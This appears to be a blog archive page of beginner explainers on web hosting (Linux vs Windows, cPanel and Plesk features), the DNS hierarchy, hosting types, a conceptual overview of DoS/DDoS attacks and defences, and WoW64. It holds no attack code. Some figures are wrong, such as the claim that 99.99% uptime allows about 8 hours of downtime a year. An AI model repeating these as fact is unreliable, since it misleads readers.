Affichage des articles dont le libellé est Theory. Afficher tous les articles
Affichage des articles dont le libellé est Theory. Afficher tous les articles

Difference Between Linux and Windows Based Web Hosting

Many people get confused while choosing web hosting. This is very genuine because everyone wants the best. If you are also planning to purchasing web hosting and you are also feeling confuse between these.
We are going to share with you some difference between Windows and Linux based web hosting. After reading these difference you will be understand the concept behind Windows and Linux Web hosting as well it will help you to choose your work based hosting.

Below are Difference:
  • Windows servers run Plesk and Linux servers run cPanel. Many people like Linux because of cPanel.
  • Linux supplies telnet or ssh access. it’s not that Windows can’t do that, but it’s very rarely offered by hosting admins.
  • Some people may site FrontPage extensions as a Windows exclusive feature, but some Linux servers will provide this as well.
  • Linux, file and directory names are case sensitive. So if you name a file AboutUs.html, and another page in the same directory as aboutus.html, you actually will have to completely different pages. Your visitors will have to enter your page URLs precisely or risk landing on 404 error pages. Windows servers however really don’t care about upper and lowercase. On a Windows server, you would only have one aboutus.html page, no matter where you put or left out capitalization.
  • The website uses a dynamic scripting technology such as ASP (A Microsoft based technology), or PHP / PERL (Linux based technologies). A Windows-based hosting solution will run a Microsoft Windows server with IIS (Internet Information Server), and is necessary to run an ASP / ASP.NET scripted website. A Linux-based platform is typically used for PHP, Perl, and most other types of websites. Basically, unless your website uses ASP (pages ending in the .asp extention), Windows hosting is not necessary. Unless you have websites which need specific Windows applications, Linux is the preferred choice.

Below are some Specification difference between Linux and Windows Hosting:

Windows applications which require a Windows server:
  • ASP Classic
  • ASP.NET
  • MSSQL (Microsoft SQL Server)
  • MS Access (Microsoft Access)
  • Visual Basic Development
  • C#
  • Remote Desktop (dedicated server only)
Applications that require a Linux-based server.
  • SSH
  • FrontPage Extensions
  • Scripts or applications that require specific Apache modules
Type of Control Panel : Windows servers and Linux servers use different control panels.
  • cPanel is available on all Linux-based hosting plans, such as Linux Shared, Reseller, VPS and Linux Dedicated Servers.
  • WHM (Web Host Manager) is available on Linux Reseller, VPS and Dedicated Servers.
  • Plesk is available on Windows Shared and Dedicated Servers.
Although people consider Linux to be more secure than Windows, both operating systems are equally secure. Security really depends more upon the server setup and the administrators running the server.


Like it ? Share it.

~ lundi 1 septembre 2014 0 commentaires

Linux Web Hosting

The definition of Linux Web Hosting is when a company is allowed to build their web sites on the Linux Operating System, which is an open-source variation of the Unix Operating System. Using this particular platform for web development allows the companies to leverage the best and most popular in open-source technologies such as MySQL.Linux hosting is compatible with PHP and MySQL, which supports scripts such as WordPress, Zen Cart, and phpBB.

If I use Linux Hosting, is it necessary my operating system should be Linux?
The answer is NO. The type of hosting you choose has nothing to do with the operating system your PC runs.

Below are some features which provided by WebHosting Companies:

Email Accounts
In this area you can manage the email accounts associated with your domain.You can create your own email accounts. for example if you have a domian www.mysite.com then you can create an email like admin@mysite.com

Webmail
Webmail allows you to access your email from any computer with an Internet connection and a web browser.

BoxTrapper
BoxTrapper protects your inbox from spam by requiring all email senders not on your White list reply to a verification email before you can receive their mail.

Apache SpamAssassin™
Apache SpamAssassin™ is a mail filter to identify spam. It is an intelligent email filter which uses a diverse range of tests to identify unsolicited bulk email, more commonly known as Spam. These tests are applied to email headers and content to classify email using advanced statistical methods.you can enable or disable this feature from your webhosting.

Email Account Forwarders (Forwarders)
Forwarders allow you to send a copy of all mail from one email address to another. For example, if you have two different email accounts, admin@mysite.com and contact@mysite.com, you could forward admin@mysite.com to contact@mysite.com so that you do not need to check both accounts. Note that the forwarded mail will still be delivered to the original address as well.

Auto Responders
You can use auto responders to send a message back automatically to anyone who sends an email to a specified account. This can be useful for times when you are on vacation or unavailable, or if you have a generic message that you wish to send from a support email address.

Set Default Address
The default email address will “catch” any mail that is sent to an invalid email address for your domain.

Mailing Lists
Mailing lists can simplify sending messages to a large group of people. You can add a group of email addresses to a mailing list to avoid typing those addresses each time you send a message. This can be very useful when sending newsletters or other updates to large groups of people.

Edit Filters for All Mail On Your Account (Account Level Filtering)
In this area you can manage filters for your main account.

User Level Filtering
In this area, you can manage filters for each user. Each user filter is processed after the main account filters.


Email Trace
This feature allows you to review email delivery attempts for your account. You can see details of each delivery attempt, including whether a message was delivered successfully.

Import E-mail Accounts/Forwarders
This feature allows you to use 2 types of files to create multiple email address or email forwarders for your account simultaneously. You may use Excel spreadsheet files (.xls) or comma-separated values sheet, aka CSV file (.csv) to import the data. A CSV file is a plain text file that has been given a .csv extension.

Email Authentication
Email authentication helps prevent spam. The options below attempt to equip email messages with verifiable information so that the nature of incoming and outgoing messages can be detected automatically.
Enabling these features should reduce the number of failed delivery notifications you receive when spammers forge messages from your domain(s). These features also work to prevent spammers from forging messages that claim to be from your domain(s).

MX Entry Maintenance
An MX (mail exchanger) entry tells a client which server receives mail sent to a domain name.

Backups
Backups allow you to download (to your computer) a zipped copy of either your entire site (including your home directory, databases, email forwarders configuration, and email filters configuration) or one of the previously mentioned parts of your site.

Disk Space Usage
The cPanel Disk Usage Viewer provides an overview of the disk space that your account is using. It shows disk usage totals for your account’s directories and all of its databases rather than for individual files or databases.

Web Disk Accounts
The Web Disk feature is cPanel's implementation of the WebDav protocol. This feature allows you to manage files associated with your website. By creating an account and accessing your Web Disk, you can navigate, upload, and download files to and from your web server as though they were part of your personal computer.

FTP Accounts
FTP accounts allow you to access your website's files through a protocol called FTP. You will need a third-party FTP program to access your files.

File Manager
Upload new files and work with current files and directories of your websites.

FTP Session Control
You can use this function to see who is currently logged into your site through FTP. You can also terminate any FTP connections to your site that you feel should not be open. This can be very useful in preventing users from accessing your files without your permission.

Latest Visitors Stats
This function displays the most recent entries in the Apache log for a given domain’s web site.

Bandwidth
This function allows you to see the bandwidth usage for your site. It shows the current month’s bandwidth usage, as well as your total bandwidth usage. This will include all HTTP (web) and POP (mail) bandwidth usage, and may include FTP bandwidth usage if your system administrator has enabled FTP bandwidth logging.

Webalizer Stats
Webalizer is a complex stats program that produces a variety of charts and graphs about who has visited your site.

Raw Access Log
Raw Access Logs allow you to see who has visited your website without displaying graphs, charts or other graphics. You can use the Raw Access Logs menu to download a zipped version of the server’s access log for your site. This can be very useful when you want to quickly be able to see who is visiting your site.

Analog Stats
Analog produces a simple summary of all the people who have visited your site. It is fast and provides great lightweight statistics. Analog shows the people who have accessed your site during a specific month. It provides limited content but can be helpful to see where your main users are from.

Error Log
This function will display the last some errors for your site. This can be very useful for finding broken links or problems with missing files. Checking this log frequently can help keep your site running smoothly.

Choose Log Programs
This function allows you to choose what stats programs you will use when viewing site statistics, if you are allowed to do so.

Awstats
Awstats produces visual statistics about visitors of your site.

Password Protect Directories 
This feature allows you to protect your directories with password.

IP Deny Manager
This feature will allow you to block a range of IP addresses to prevent them from accessing your site. You can also enter a fully qualified domain name, and the IP Deny Manager will attempt to resolve it to an IP address for you.

SSL/TLS Manager
The SSL/TLS Manager will allow you to generate SSL certificates, certificate signing requests, and private keys. These are all parts of using SSL to secure your website. SSL allows you to secure pages on your site so that information such as logins, credit card numbers, etc are sent encrypted instead of plain text. It is important to secure your site’s login areas, shopping areas, and other pages where sensitive information could be sent over the web.

SSH/Shell Access
SSH allows secure file transfer and remote logins over the internet. Your connection via SSH is encrypted allowing the secure connection. In this section you can manage your SSH keys to allow automation when logging in via SSH. Using public key authentication is an alternative to password authentication. Since the private key must be held to authenticate, it is virtually impossible to brute force. You can Import existing keys, generate new keys, as well as manage/delete keys.
The public and private key are similar to a puzzle. They are created together to use during the login/authentication process. The public key resides on the server (the remote location) The private key resides locally on your computer/server. When you attempt to login to a server, the public and private key are compared. If they "match", then you will be allowed to login to the server location.

Hotlink Protection
Hotlink protection prevents other websites from directly linking to files on your website. Other sites will still be able to link to any file type that you don’t specify. An example of hotlinking would be using a tag to display an image from your site from somewhere else on the net. The end result is that the other site is stealing your bandwidth. List all sites below from which you wish to allow direct links. This system attempts to add all sites it knows you own to the list; however, you may need to add others.

Leech Protect Directories
Leech Protect allows you to prevent your users from giving out or publicly posting their passwords to a restricted area of your site. This feature will redirect accounts which have been compromised to a URL of your choice (and suspend them, if you choose).

GnuPG Keys
GnuPG is a publicly available encryption scheme that uses the "public key" approach. With GnuPG, messages are encrypted using a "public key" however, they can only be decrypted by a "private key", which is retained by the intended recipient of the message.

Subdomains
Subdomains are URLs for different sections of your website. They use your main domain name and a prefix. For example, if your domain is mysite.com a sub-domain of your domain might be support.mysite.com.

Addon Domains
An addon domain allows visitors to reach a subdomain of your site by typing the addon domain's URL into a browser. This means that you can host additional domains from your account, if allowed by your hosting provider. Addon domains will not function unless the domain name is registered with a valid registrar and configured to point to the correct DNS servers.

Parked Domains
Parked Domains (Domain pointers) allow you to "point" or "park" additional domain names to your existing hosting account. This will allow users to also reach your website when entering the "parked" or "pointed" domain into their browsers. Domains must be registered with a valid registrar before they can be parked. In addition, they will not be functional unless they are configured to point to your DNS servers.

Redirects
Redirects allow you to make a specific web page redirect to another page and display the contents of that page. This way you can make a page with a long URL accessible by a page which has a shorter and easier to remember URL.

Simple DNS Zone Editor
DNS is the component of the Internet which converts human-readable domain names (e.g. mysite.com) into computer-readable IP addresses (e.g. 91.237.86.220). It does this according to DNS zone files that reside on your server which tie domain names to IP addresses.
There are several different types of records in a domain's zone file. This feature allows you to create and edit A and CNAME records.

MySQL Databases
MySQL Databases allow you to store lots of information in an easy to access manner. The databases themselves are not easily read by humans. MySQL databases are required by many web applications including some bulletin boards, content management systems, and others. To use a database, you’ll need to create it. Only MySQL Users (different than mail or other users) that have privileges to access a database can read from or write to that database.

phpmyadmin
intended to handle the administration of MySQL

Access cPanel Shortcuts
cPanel shortcuts are links you can add to your desktop or your browser’s bookmarks toolbar. They are an easy way to access your cPanel.

Apache Handlers
Apache handlers control how the Apache web server software manages certain file types and extensions for your site. Apache comes configured to handle CGI scripts and server-parsed files.

Image Tools
The Image Manager allows you to view and modify images in your account. You can change the size of your images, convert their file types, or just view them.

Index Manager
The Index Manager allows you to customize the way a directory will be viewed on the web. You can select between a default style, no indexes, or two types of indexing.

Error pages
An error page informs a visitor when there is a problem accessing your site. Each type of problem has its own code. For example, a visitor who enters a nonexistent URL will see a 404 error, while an unauthorized user trying to access a restricted area of your site will see a 401 error.

Cron Jobs
Cron jobs allow you to automate certain commands or scripts on your site. You can set a command or script to run at a specific time every day, week, etc. For example, you could set a cron job to delete temporary files every week to free up disk space. You need to have a good knowledge of Linux commands before you can use cron jobs effectively.

Network Tools
Network Tools allow a user to find out information about any domain, or to trace the route from the server your site is on to the computer you are accessing cPanel from. Finding out information about a domain can be useful in making sure your DNS is set up properly as you will find out information about your IP address as well as your DNS.

MIME Types
MIME types tell browsers how to handle specific extensions. For example, the text/html MIME type equates to .htm, .html, and .shtml extensions on most servers, and this tells your browser to interpret all files with those extensions as HTML files. You can alter or add new MIME types specifically for your site (note that you can not alter the system defined MIME type values). MIME types are often used to handle new technologies as they appear. When WAP technology first appeared no one had these extensions set up on their server. With MIME types, however, you could have set it up yourself and begun serving WAP pages immediately.

FrontPage Extensions
FrontPage Extensions allow you to publish your site directly from the FrontPage application. This means that you will not have to upload files through FTP or another method.

Note - Above Features list are just an example. May be you will get more features or less features its depend on the hosting provider companies. Some webhosting also provides some software and services like joomla, wordpress etc.


~ samedi 19 juillet 2014 0 commentaires

Domain Name System

What is Domain Name ?
A domain name is an identification string that defines a realm of administrative autonomy, authority or control on the Internet. Domain Name System, or DNS, is the most recognized system for assigning addresses to Internet web servers. Domain names are used to identify one or more IP addresses. Without a domain, you would have to tell your customers that your site is located at a temporary url such as 127.441.733.14/~mysite instead of using a domain name such as mysite.com, making your site appear unprofessional and impractical.

Root Name Server
A root name server is a name server for the root zone of the Domain Name System of the Internet. It directly answers requests for records in the root zone and answers other requests by returning a list of the authoritative name servers for the appropriate top-level domain (TLD).
Root Level domain : The Domain Name System is a hierarchical naming system for computers, services, or any resource participating in the Internet. The top of that hierarchy is the root domain. The root domain does not have a formal name and its label in the DNS hierarchy is an empty string.


Top Level Domain (TLD)
A top-level domain (TLD) is the last segment of the domain name. The TLD is the letters immediately following the final dot in an Internet address.The top-level domains (TLDs) such as com, net and org are the highest level of domain names of the Internet. Top-level domains form the DNS root zone of the hierarchical Domain Name System. Every domain name ends with a top-level domain label. For Example In our website www.geekyshows.com , com is Top Level Domian.

Restricted Top Level Domains
Restricted top-level domains (rTLDs), like .aero, .biz, .edu, .mil, .museum, .name, and .pro, that require the registrant to represent a certain type of entity, or to belong to a certain community. For example, the .name TLD is reserved for individuals, and .edu is reserved for educational entities.

Country Code Top Level Domain
Country-code TLDs (ccTLDs) represent specific geographic locations. For example: .mx represents Mexico and .eu represents the European Union. Some ccTLDs have residency restrictions. For example, .eu requires registrants to live or be located in a country belonging to the European Union. Other ccTLDs, like the ccTLD .it representing Italy, allow anyone to register them, but require a trustee service if the registrant is not located in a specified country or region. Finally, there are ccTLDs that can be registered by anyone — .co representing Colombia, for example, has no residency requirements at all.

Second-level domains (SLD)
A second-level domain (SLD) is the portion of the domain name that is located immediately to the left of the dot and domain name extension. You define the SLD when you register a domain name.
Example 1: The SLD in mysite.com is mysite. 
Example 2: The SLD in mysite.co.uk is still mysite.

Country code second level domains (ccSLD)
A country code second-level domain (ccSLD) is a domain name class that many country code top-level domain (ccTLD) registries implement. The ccSLD portion of the domain name is located between the ccTLD and the SLD. Example: The ccSLD in coolexample.co.uk is .co.

What is SubDomain Name
Subdomains are a smaller part of a larger domain. For example I have a Website www.geekyshows.com If i create a sub domain at www.geekyshows.com it will be look like this help.geekyshows.com . Here help is a subdomain.

Example – www.geekyshows.com, Example – help.geekyshows.com
DNS Hierarchy
Example Domain
Root level Domain
.
Top Level Domain
.com
Second Level Domain
geekyshows
Sub Domain
help

How Domain Names are Assigned
The Internet Corporation for Assigned Names and Numbers (ICANN) is the ultimate authority for domain-name assignments. ICANN conveys authority to (accredits) Registrars throughout the world to register second-level domains within specific top-level domains; this ensures that all domain names are unique.

What is Domain Name System (DNS)?
DNS is a protocol within the set of standards for how computers exchange data on the Internet and on many private networks, known as the TCP/IP protocol suite. Its basic job is to turn a user-friendly domain name like "geekyshows.com" into an Internet Protocol (IP) address like 70.44.241.54 that computers use to identify each other on the network.

How Domain Name Work ?
After Registering a Domain name the domain name must have a hosted website that includes a numeric address, called an IP address, for visitors to access the website using your domain name.
Your domain name and its associated IP address are stored in a common database along with every other domain and associated IP address that are accessible via the Internet.
When visitors enter your domain name into a Web browser, the browser request uses your domain name to find the domain name's associated IP address and, therefore, the website. People use domain names instead of IP addresses because it is easier to remember a name rather than a series of numbers.


Like it ? Share it.

~ mercredi 25 juin 2014 0 commentaires

Windows Web Hosting

The availability of Microsoft’s Active Server Pages technology in Windows hosting solutions provides for dynamic web pages that can help give your website the best possible presentation and performance.  ASP is a powerful and flexible technology that can provide your site users with a range of interactive page options and functionality that surpasses the norm.  When opting for a Windows hosting package equipped with this dynamic programming technology, you will then have the tools needed to gain an edge on the competition.

If I use Windows Hosting, is it necessary my operating system should be Windows?
The answer is NO. The type of hosting you choose has nothing to do with the operating system your PC runs.



Below are some features which provided by WebHosting Companies:

Statistics
This is where you view detailed reports on how resources provided with your subscription are used.

File Manager
Upload new files and work with current files and directories of your websites.

Web Statistics
View the reports on how your websites are visited. See how many people visited a site and which webpages they viewed.

FTP Access
Set up access to files of your websites over FTP protocol.

DNS Setting
Mangage DNS zone for your Domain names.

Backup Manager
Back Up and restore your domains, including settings and content of websites and mail accounts.

Web Hosting Access
 Change setting of the system user account used for remote access to Panel over SSH or RDP and working with files and folders in File Manager.

Databases
Create and remove databases used by your websites and manage them using integrated administrative web application.

Password Protected Directories
Restrict access to selected areas of your website with password protection.

Website Copying
Copy website files to another site or external FTP Storage.

Logs
View logs and configure recycling of logs files.

Dedicated IIS Application Pool for your Websites
Set Up a dedicated IIS application pool for serving website associated with the currently selected subscription.

ASP.NET Setting
Configure the setting of ASP.NET framework.

Scheduled Tasks
View and Manage scheduled tasks.

Hotlink Protection
Protect content of your websites from hotlilnking.

Web Users
Set up accounts for users who can host personal web pages on your websites.

Website Maintenance Mode
Switch a site off for maintenance and let the site visitors know that this is done on purpose and the site will be up soon.

Virtual Directories
Create and manage virtual directories for your websites.

ODBC Data Sources
Set up ODBC Data sources.

Note - Above Features list are just an example. May be you will get more features or less features its depend on the hosting provider companies. Some webhosting also provides some software and services.

Like it ? Share it.

~ samedi 14 juin 2014 0 commentaires

Web Hosting


What is Website Hosting? 
A web hosting service is a type of Internet hosting service that allows individuals and organizations to make their website accessible via the World Wide Web. When you create website, it is composed of web pages having text, images, videos and other content for people to see them. However, people can see your website only when it is available on the Internet. To make your website available on the Internet, you have to store it on a computer called web server. When you buy some space on a web server and store your webpages there, your website becomes hosted and can be seen by anyone.

What is Web Server? 
A web server is the computer on which the web pages of your website are stored. It delivers or ‘serves’ the content of your website to the users through Internet. The computer which acts as server has to have very high specifications. It is also connected to the Internet through very powerful link. The web hosts or the web hosting companies have their own servers on which they rent out space to you so that you can host your website and make it accessible to the general public.


Who is Web Host?
Any person or company who owns a server and rents out web space for website hosting can be called the web host. Some web hosts do not own servers but rent a server from some large web hosting company and then resell the space under their own brand.The large web hosting companies even own their datacenter (collection of servers) where they can host millions of websites. Datacenters have many computer servers connected to the Internet with fast connections, back up and high security.

What are the Basic Features of a Web Hosting Plan? 
Disk Space - Disk space means the amount of storage space provided to you by your web hosting provider. You need disk space to store your web files composed of text, images, video, audio, etc.

Bandwidth - Bandwidth means the amount of data that a website can transfer over a period of time. It determines the speed of your website. More bandwidth means more speed. The less bandwidth your site has, the slower it takes for it to load.

Uptime - Uptime means the percentage of time that a hosting server stays up or running. 99.99% uptime would mean that your website will go down only for about 8 hours in a year while 98% uptime would mean that your website may remain down for about 7.3 days in a year.

Programming Services - The website hosting packages also let you create web pages with programming languages including HTML, PHP, ASP as well as databases.

Customer Service - This is one of the basic and most essential features that one should look for while selecting website hosting service. A good customer service will help you whenever you will feel trouble.

What are the Types of Web Server Hosting? 
Shared Hosting - Shared hosting refers to when your web site is hosted on a server along with many other customers' web sites. Your users won't know this - your web site is still configured as a separate web site on the server and can still have its own domain name etc. It is simply sharing the server with other web sites.The entry level websites don’t need high performance features and thus, shared hosting can fulfill their needs without having to pay larger amounts of money.

Dedicated Server Hosting - This is a server that hosts only your web site or web sites. This can give you more control over your web site. It can also help in ensuring that other customers' web sites don't impact on your web site. Using dedicated servers is much more expensive than shared hosting, but if your site receives lots of traffic or you have other requirements (such as extra security requirements), a dedicated server could be for you.

Cloud Server Hosting - It is new in the Market Based on the innovative cloud computing technologies, cloud hosting is done through multiple servers inter connected with each other. This is unlike shared or dedicated server hosting that are provided through only one server. The multiple servers acting as a single system has multiple advantages like load balancing, no single point of failure, non-reliance on a single server leading to higher security and also the facility to increase or decrease server resources as per your needs. It is also cost effective web hosting solution as the website hosting companies charge you for cloud hosting services on the basis of usage. As you can scale your resources up and down on a cloud server, you are able to use more resources only on the days when you expect higher traffic.

Virtual Dedicated Servers - Also known as virtual private servers, virtual dedicated servers are a low-cost alternative to dedicated servers. The web host can put many virtual servers on each machine, therefore reducing costs. When you log in to the virtual server, it appears as though you have your own dedicated server (even though other virtual servers are probably running on the same machine).

Reseller web hosting - It allows clients to become web hosts themselves. Resellers could function, for individual domains, under any combination of these listed types of hosting, depending on who they are affiliated with as a reseller. Resellers' accounts may vary tremendously in size: they may have their own virtual dedicated server to a colocated server. Many resellers provide a nearly identical service to their provider's shared hosting plan and provide the technical support themselves.

Why Do You Need Web Hosting?
A lot of people tend to think that registering a domain name is good enough to get a website active. What they fail to understand is that a domain is as good as your name, a name by which others may recognize you. In order to get a website active and live on the internet, you need to host a website. If you are seeking to build a website without taking web hosting services, registering domain names will serve no purpose. Having a web hosting account is very important in order to get a website hosted. A web hosting company makes it possible for your website to be accessed by everyone on the web.

Like it ? Share it.

~ lundi 12 mai 2014 0 commentaires

Denial of Service (DoS)


A Denial of Service (DoS) attack is a malicious attempt to make a server or a network resource unavailable to users, usually by temporarily interrupting or suspending the services of a host connected to the Internet.

DoS and DDoS Attack

It is important to differentiate between Denial of Service (DoS) and Distributed Denial of Service (DDoS) attacks.

In a DoS attack, one computer and one internet connection is used to flood a server with packets, with the aim of overloading the targeted server’s bandwidth and resources.
A DDoS attack, uses many devices and multiple Internet connections, often distributed globally into what is referred to as a botnet. A DDoS attack is, therefore, much harder to deflect, simply because there is no single attacker to defend from, as the targeted resource will be flooded with requests from many hundreds and thousands of multiple sources.


Types of DoS Attacks

The most common type of Denial of Service attack involves flooding the target resource with external communication requests. This overload prevents the resource from responding to legitimate traffic, or slows its response so significantly that it is rendered effectively unavailable.
Resources targeted in a DoS attack can be a specific computer, a port or service on the targeted system, an entire network, a component of a given network any system component. DoS attacks may also target human-system communications (e.g. disabling an alarm or printer), or human-response systems (e.g. disabling an important technician's phone or laptop).
DoS attacks can also target tangible system resources, such as computational resources (bandwidth, disk space, processor time); configuration information (routing information, etc.); state information (for example, unsolicited TCP session resetting). Moreover, a DoS attack can be designed to: execute malware that maxes out the processor, preventing usage; trigger errors in machine microcode or sequencing of instructions, forcing the computer into an unstable state; exploit operating system vulnerabilities to sap system resources; crash the operating system altogether.
The overriding similarity in these examples is that, as a result of the successful Denial of Service attack, the system in question does not respond as before, and service is either denied or severly limited.

Types of DDoS Attacks

DDoS attacks can divided in three types:
  • Volume Based Attacks - This type of attack includes UDP floods, ICMP floods, and other spoofed packet floods. The goal of this DDoS attack is to saturate the bandwidth of the attacked site. The magnitude of a volume-based attack is usually measured in Bits per second.
  • Protocol Attacks - This type of DDoS attack consumes the resources of either the servers themselves, or of intermediate communication equipment, such as routers, load balancers and even some firewalls. Some examples of protocol attacks include SYN floods, fragmented packet attacks, Ping of Death, Smurf DDoS and more. Protocol attacks are usually measured in Packets per second.
  • Application Layer Attacks - Perhaps the most dangerous type of DDoS attack, application layer attacks are comprised of seemingly legitimate and innocent requests. The intent of these attacks is to crash the web server. SDome examples of application layer attacks include Slowloris, Zero-day DDoS attacks, DDoS attacks that target Apache, Windows or OpenBSD vulnerabilities and more. The magnitude of this type of attack is measured in Requests per second.

Symptoms and Manifestations

The United States Computer Emergency Readiness Team (US-CERT) defines symptoms of denial-of-service attacks to include:
  • Unusually slow network performance (opening files or accessing web sites)
  • Unavailability of a particular web site
  • Inability to access any web site
  • Dramatic increase in the number of spam emails received—(this type of DoS attack is considered an e-mail bomb)[2]
  • Disconnection of a wireless or wired internet connection
  • The term "hit offline" being used on you, then you (the target) may disconnect from the internet
Denial-of-service attacks can also lead to problems in the network 'branches' around the actual computer being attacked. For example, the bandwidth of a router between the Internet and a LAN may be consumed by an attack, compromising not only the intended computer, but also the entire network.
If the attack is conducted on a sufficiently large scale, entire geographical regions of Internet connectivity can be compromised without the attacker's knowledge or intent by incorrectly configured or flimsy network infrastructure equipment.

Methods of attack

A "Denial-of-Service" attack is characterized by an explicit attempt by attackers to prevent legitimate users of a service from using that service. There are two general forms of DoS attacks: those that crash services and those that flood services.
A DoS attack can be perpetrated in a number of ways. The five basic types of attack are:
  • Consumption of computational resources, such as bandwidth, disk space, or processor time.
  • Disruption of configuration information, such as routing information.
  • Disruption of state information, such as unsolicited resetting of TCP sessions.
  • Disruption of physical network components.
  • Obstructing the communication media between the intended users and the victim so that they can no longer communicate adequately.
A DoS attack may include execution of malware intended to:[citation needed]
  • Max out the processor's usage, preventing any work from occurring.
  • Trigger errors in the microcode of the machine.
  • Trigger errors in the sequencing of instructions, so as to force the computer into an unstable state or lock-up.
  • Exploit errors in the operating system, causing resource starvation and/or thrashing, i.e. to use up all available facilities so no real work can be accomplished or it can crash the system itself
  • Crash the operating system itself.
Preventing DoS and DDoS Vulnerabilities

Defending against Denial of Service attacks typically involves the use of a combination of attack detection, traffic classification and response tools, aiming to block traffic that they identify as illegitimate and allow traffic that they identify as legitimate. A list of prevention and response tools is provided below:

Firewalls
Firewalls can be setup to have simple rules such to allow or deny protocols, ports or IP addresses. In the case of a simple attack coming from a small number of unusual IP addresses for instance, one could put up a simple rule to drop all incoming traffic from those attackers.
More complex attacks will however be hard to block with simple rules: for example, if there is an ongoing attack on port 80 (web service), it is not possible to drop all incoming traffic on this port because doing so will prevent the server from serving legitimate traffic. Additionally, firewalls may be too deep in the network hierarchy. Routers may be affected before the traffic gets to the firewall. Nonetheless, firewalls can effectively prevent users from launching simple flooding type attacks from machines behind the firewall.

Some stateful firewalls, like OpenBSD's pf packet filter, can act as a proxy for connections: the handshake is validated (with the client) instead of simply forwarding the packet to the destination. It is available for other BSDs as well. In that context, it is called "synproxy".

Switches
Most switches have some rate-limiting and ACL capability. Some switches provide automatic and/or system-wide rate limiting, traffic shaping, delayed binding (TCP splicing), deep packet inspection and Bogon filtering (bogus IP filtering) to detect and remediate denial of service attacks through automatic rate filtering and WAN Link failover and balancing.
These schemes will work as long as the DoS attacks are something that can be prevented by using them. For example SYN flood can be prevented using delayed binding or TCP splicing. Similarly content based DoS may be prevented using deep packet inspection. Attacks originating from dark addresses or going to dark addresses can be prevented using Bogon filtering. Automatic rate filtering can work as long as you have set rate-thresholds correctly and granularly. Wan-link failover will work as long as both links have DoS/DDoS prevention mechanism.

Routers
Similar to switches, routers have some rate-limiting and ACL capability. They, too, are manually set. Most routers can be easily overwhelmed under DoS attack. Cisco IOS has features that prevent flooding, i.e. example settings.

Application Front-end Hardware
Application front end hardware is intelligent hardware placed on the network before traffic reaches the servers. It can be used on networks in conjunction with routers and switches. Application front end hardware analyzes data packets as they enter the system, and then identifies them as priority, regular, or dangerous. There are more than 25 bandwidth management vendors.

IPS Based Prevention
Intrusion-prevention systems (IPS) are effective if the attacks have signatures associated with them. However, the trend among the attacks is to have legitimate content but bad intent. Intrusion-prevention systems which work on content recognition cannot block behavior-based DoS attacks.
An ASIC based IPS may detect and block denial of service attacks because they have the processing power and the granularity to analyze the attacks and act like a circuit breaker in an automated way.
A rate-based IPS (RBIPS) must analyze traffic granularly and continuously monitor the traffic pattern and determine if there is traffic anomaly. It must let the legitimate traffic flow while blocking the DoS attack traffic.

DDS Based Defense
More focused on the problem than IPS, a DoS Defense System (DDS) is able to block connection-based DoS attacks and those with legitimate content but bad intent. A DDS can also address both protocol attacks (such as Teardrop and Ping of death) and rate-based attacks (such as ICMP floods and SYN floods).
Like IPS, a purpose-built system, such as the well-known Top Layer IPS products, can detect and block denial of service attacks at much nearer line speed than a software based system.

Blackholing and Sinkholing
With blackholing, all the traffic to the attacked DNS or IP address is sent to a "black hole" (null interface, non-existent server, ...). To be more efficient and avoid affecting network connectivity, it can be managed by the ISP.
Sinkholing routes to a valid IP address which analyzes traffic and rejects bad ones. Sinkholing is not efficient for most severe attacks.

Clean Pipes
All traffic is passed through a "cleaning center" or a "scrubbing center" via various methods such as proxies, tunnels or even direct circuits, which separates "bad" traffic (DDoS and also other common internet attacks) and only sends good traffic beyond to the server. The provider needs central connectivity to the Internet to manage this kind of service unless they happen to be located within the same facility as the "cleaning center" or "scrubbing center".

Like it ? Share it.

~ samedi 10 mai 2014 0 commentaires

WoW64


WoW64 (Windows 32-bit on Windows 64-bit) is a subsystem of the Windows operating system capable of running 32-bit applications and is included on all 64-bit versions of Windows - including Windows XP Professional x64 Edition, IA-64 and x64 versions of Windows Server 2003, as well as 64-bit versions of Windows Vista, Windows Server 2008, Windows 7 and Windows 8. In Windows Server 2008 R2 Server Core, it is an optional component.
WoW64 is designed to take care of many of the differences between 32-bit Windows and 64-bit Windows, particularly involving structural changes to Windows itself.


Translation Libraries

The WoW64 subsystem comprises a lightweight compatibility layer that has similar interfaces on all 64-bit versions of Windows. It aims to create a 32-bit environment that provides the interfaces required to run unmodified 32-bit Windows applications on a 64-bit system. Technically, WoW64 is implemented using three dynamic-link libraries (DLLs):
  1. Wow64.dll, the core interface to the Windows NT kernel that translates between 32-bit and 64-bit calls, including pointer and call stack manipulations
  2. Wow64win.dll, which provides the appropriate entry-points for 32-bit applications
  3. Wow64cpu.dll, which takes care of switching the processor from 32-bit to 64-bit mode
Registry and File System

The WoW64 subsystem also handles other key aspects of running 32-bit applications. It is involved in managing the interaction of 32-bit applications with the Windows components such as the Registry, which has distinct keys for 64-bit and 32-bit applications. For example HKEY_LOCAL_MACHINE\Software\Wow6432Node is the 32-bit equivalent of HKEY_LOCAL_MACHINE\Software (although 32-bit applications are not aware of this redirection). Some Registry keys are mapped from 64-bit to their 32-bit equivalents, while others have their contents mirrored, depending on the edition of Windows.

The operating system uses the %SystemRoot%\system32 directory for its 64-bit library and executable files. This is done for backward compatibility reasons, as many legacy applications are hardcoded to use that path. When executing 32-bit applications, WoW64 transparently redirects 32-bit DLLs to %SystemRoot%\SysWoW64, which contains 32-bit libraries and executables. 32-bit applications are generally not aware that they are running on a 64-bit operating system. 32-bit applications can access %SystemRoot%\System32 through the pseudo directory %SystemRoot%\sysnative.

There are two Program Files directories, both visible to both 32-bit and 64-bit applications. The directory that stores the 32 bit files is called Program Files (x86) to differentiate between the two, while the 64 bit maintains the traditional Program Files name without any additional qualifier.

Incompatible Applications

32-bit applications that include only 32-bit kernel-mode device drivers, or that plug into the process space of components that are implemented purely as 64-bit processes (e.g. Windows Explorer) cannot be executed on a 64-bit platform. Service applications are supported.
The SysWOW64 folder located in the Windows folder on the OS drive contains several applications to support 32-bit applications (e.g. cmd.exe, useful to register 32bit windows services, odbcad32.exe, to register ODBC connections for 32-bit applications). 16-bit legacy applications for MS-DOS and early versions of Windows are usually incompatible with 64-bit versions of Windows Vista, 7 and 8, but can be run on a 16-bit or 32-bit Windows OS via Microsoft Virtual PC or DOSBox. 32-bit versions of Windows XP, Vista, 7, and 8, on the other hand, can usually run 16-bit apps with few to no problems.
The component that makes this possible, Windows on Windows 32-bit, is replaced in 64-bit Windows OSs by WoW64, rendering nearly all 16-bit apps unexecutable.

